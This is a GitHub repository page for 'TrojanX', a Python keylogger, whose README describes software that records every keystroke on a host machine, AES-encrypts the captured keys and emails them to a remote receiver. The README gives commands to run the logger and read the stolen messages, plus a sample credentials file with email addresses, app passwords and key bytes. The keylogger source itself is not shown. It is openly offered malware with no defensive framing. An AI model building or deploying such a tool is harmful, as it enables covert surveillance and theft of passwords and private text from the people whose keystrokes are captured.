Skip to content

johndeweyzxc/TrojanX

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

TrojanX, a simple keylogger written in python

TrojanX is a simple keylogger software written in python, when executed on a host machine it will listen to every key strokes of the user. Once it gathered enough keys, it will encrypt them using AES and sent to an email server. The encrypted data can be read by the receiver email address decrypting it using the same keys when it was encrypted on the host machine.

How to use?

You need to create an authentication file, you need to store the following:

  • The email server to be use
  • Email address of the receiver
  • Email address of the sender
  • App password of the receiver
  • App password of the sender
  • Random 16 bytes for key
  • Randome 16 bytes for iv

  • Run the keyboard logger

    $ python keyboard_logger.py
    

    If you think the user typed atleast 20 or > characters, read the messages

    $ python read_email.py
    

    Authentications file example

    Write this in authentications.py

    email_server = "imap.gmail.com"
    receiver_email = "receiver@gmail.com"
    sender_email = "sender@gmail.com"
    
    # This is a 16 character app password
    
    app_password_receiver = "dkwiospalifhjwen"
    app_password_sender = "djwidkrtoiqplskd"
    
    # This is a random 16 bytes to use as a key and initialization vector for encryption
    
    key = b'\x88\x90G\xfc\xb7l\x85\xed\xf9\xa1}\x9fF\xdd`B'
    iv = b'S\xa1.0\xd6\xed9=-\xca\xbe\xddVQ\x9e\x8d'

    Releases

    No releases published

    Packages

    No packages published

    Languages